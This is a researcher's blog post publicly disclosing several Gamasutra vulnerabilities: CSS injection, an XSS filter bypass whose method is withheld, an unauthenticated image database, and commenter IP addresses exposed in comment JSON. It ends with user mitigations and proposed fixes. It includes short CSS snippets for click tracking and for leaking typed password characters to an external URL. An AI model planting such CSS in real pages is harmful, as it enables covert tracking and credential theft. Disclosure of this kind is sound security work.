Disclosing Multiple Gamasutra Vulnerabilities
Update: I've talked with UBM's security team, they are currently working on fixes and say that they'll have more updates within around 7 days. I'll update this post with any new information as I get it.
Some brief background
I reported the majority of the vulnerabilities below to Gamasutra in early 2016, following up multiple times with multiple members of Gamasutra's security team. Eventually, updates were made to the site which I was told would correct the problem.
Two months ago I accidentally discovered another severe vulnerability while authoring a blog post. I sent another email and was assured that engineers would look into it.
Recently I checked back in and I discovered that none of security holes I disclosed were ever actually plugged. Even in the single case where Gamasutra made an effort to correct the problem, the solution was halfhearted and wildly insufficient. I am publicly disclosing all of the vulnerabilities in the hope that this encourages Gamasutra to fix them properly.
Wherever researching or probing a vulnerability would force me to touch data that did not belong to me or to exploit another user in any way, I declined to do so. Some of the vulnerabilities listed below have had some details omitted in order to make them at least a bit harder for malicious actors reverse engineer and exploit.
CSS injection vulnerability within posts
Gamasutra allows posts to edit raw HTML. This is somewhat unusual for a blogging platform, but not unprecedented. However, Gamasutra also supports style tags within a post's HTML. Because Gamasutra blog posts are not embedded in iframes or otherwise isolated from the host page, users are able to use CSS to override first-party page styles.
The largest risk here is defacement and phishing. A user could hide elements of the Gamasutra website (including ads, banner elements, and other links) or they could replace them with custom content. Because HTML is allowed within posts, otherwise invisible link tags can be positioned over these elements.
Outside of the obvious exploits, there are a few more obscure attacks that can be leveraged with pure CSS access, even without taking any advantage of custom HTML elements. This is because CSS properties have the ability to link to external resources.
This can be be exploited to enable behavioral tracking.
#link2:active::after {
content: url("track.php?action=link2_clicked");
}
It can also be used to record user passwords.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
To be vulnerable to this attack a user would need to visit the post while logged out and log in on that same page. So while this is an attack vector worth protecting against, it's far less dangerous than a standard phishing attack.
XSS vulnerability within posts
It is, however, much easier to steal credentials with Javascript than with CSS.
When I first contacted Gamasutra about these vulnerabilities, <script> tags
were not being blocked at all. Since then, Gamasutra has made some effort to
strip scripts and other Javascript from user posts.
However, it is trivial to bypass this restriction. While I won't mention the exact method, Gamasutra's parsing seems to based on a few half-hearted regular expressions. It only took a few hours to find holes in their system, and the majority of that time was spent waiting for my posts to properly save and load.
Similar to the CSS vulnerabilities I listed above, this opens the door to 3rd party tracking and monitoring. But tracking is only the start.
Since Gamasutra's blog posts are not isolated from the main page, inserted scripts are free to make network requests on behalf of a signed-in user. An attacker can read private information from a user's profile, post comments on their behalf, save their login credentials, or even silently change their password directly from the user's own browser.
Gamasutra does not restrict requests to other domains, so scripts can be loaded remotely and can communicate with any other server online.
Stealing a user's credentials means that an attacker gets edit access to that user's blog posts. This means that a script can "infect" other user accounts, inserting itself into their posts to silently spread itself across the site. Because it's unlikely for users and administrators to regularly check old articles for edits, a careful attacker could silently infect old content for some time — redirecting ads, defacing and editing old content, trolling for personal information, stealing user CPU cycles or network access, and just generally tracking users as they browse.
Lack of database authentication
The most troubling vulnerability I found was that Gamasutra gives logged-out users full access to its site-wide image database.
Details on this specific vulnerability are being kept deliberately sparse, because there's no way I can provide them without violating user privacy or making it completely obvious how to replicate the attack.
I'm not sure if querying what is essentially a public database even counts as hacking, but once I realized the extent of my access, I tried to avoid looking at any data that did not explicitly belong to me. As a result, I don't know the full extent of how much damage a malicious user could do. Determining what parts of Gamasutra could be attacked would have required me to touch other people's data without their permission.
However, I suspect that this database contains at least:
- images for any native advertising that Gamasutra runs.
- every image that anyone has ever uploaded to a blog post.
- images included in job postings.
- images included in drafts and future job postings.
I confirmed that I was able to view, upload, delete, and rename images from one of my own blog posts. I also confirmed that once Gamasutra's cache expired, the new replacement images were served as normal.
User mitigation
Don't use Gamasutra. Don't make an account. Don't comment on articles. Don't post articles. Don't post jobs. Don't apply to jobs. This should be the default response for most people.
However, in the case that you can't stop using the site, at least limit your logged-in time. Only log in when you are posting content. Never read another person's blog post or article while logged in.
I've used flashy examples to showcase these attacks, but real-world black-hat attackers are subtle. You won't notice them.
Don't store personal or confidential information on your Gamasutra account, even if it looks like that information is private. Don't leave blog posts or job postings in draft states, publish them as soon as you're done writing. If you signed up for Gamasutra a long time ago, you may not remember that the signup process required you to list both a business phone number and a physical business address. This is very likely your home address and personal number.
The XSS attack I list above can easily access and record all of this information. Since you're not allowed to leave these fields blank, you should lie and fill in a fake address/number. This is a good habit to get into in general when signing up for new services online. Don't freely give businesses the information that would be necessary to dox you.
If you are an EU citizen, you may also be able to file a request under GDPR to learn what information UBM (Gamasutra's parent company) has collected about you and to ask them to delete it. If you do file a request, contact me and let me know what response you get back — I'm curious.
Finally, you should consider buying a VPN. I won't give a specific recommendation, but you can find comparisons and breakdowns online. VPNs get a lot of flack in the privacy community as a flawed solution to ISP tracking, and much of that criticism is warranted. However, using a VPN protects you against a much broader range of attackers than just your ISP.
Connecting to a website directly from your ISP allows that website to log your approximate location and more easily fingerprint you. In the case of Gamasutra, that IP address is publicly available. Commenting without a VPN doesn't just mean your ISP and a couple of ad networks can track you. It means everyone can track you.
Where from here?
My immediate hope is that Gamasutra fixes the issues above. Many of them could be (mostly) mitigated with just a few changes.
- Don’t attach IP addresses to comments (also don’t store IP addresses in perpetuity).
- Embed blog posts inside of a sandboxed iframe. This won’t block all 3rd-party tracking, and does comes with its own caveats, but it would go a long way towards mitigating many of the worst attacks I mention above.
- Block database access if a user doesn’t have authentication.
- Consider setting a sitewide CSP script policy that blocks inline/3rd-party scripts entirely except for via whitelisted domains.
Unfortunately, because I am not a security researcher, and because I have explicitly avoided digging too deeply into any of the vulnerabilities listed here, you should assume that I didn't catch everything. So while it would be nice to see Gamasutra fix these specific issues, that wouldn't be enough for me to start trusting the site again.
Rather, Gamasutra's parent company (UBM) should invest adequate resources into Gamasutra's security, run a few third-party audits and make sure that qualified security researchers are regularly looking at the site. UBM is not a small company; it has the resources it needs to maintain a professional, secure blogging platform.
Vulnerabilities this basic and this severe suggest to me that the site architecture as a whole should be considered compromised. There are undoubtedly other exploits waiting to be discovered.
Public IP addresses linked to comments
Gamasutra records the IP address of every user who posts a comment on the site. This address is attached to the response JSON of every comment for every article. A malicious visitor can easily view the IP address of any commenter on the Gamasutra website. They don't even need to make an account.
These IP addresses are stored indefinitely. I have been a Gamasutra user for many years. When I discovered this vulnerability, I was able to reconstruct my entire living history for the entire duration of my account history. I could even tell the difference between comments submitted at my own home and comments made from public locations.
IP addresses are relatively easy to tie to physical locations. While they (usually) do not have enough granularity to zero in on a specific house or person, they can often be granular enough to get you to the proper town.
In layman's terms, most people who comment on a Gamasutra article are publicly and permanently listing their zip code on the Internet for literally anyone to see.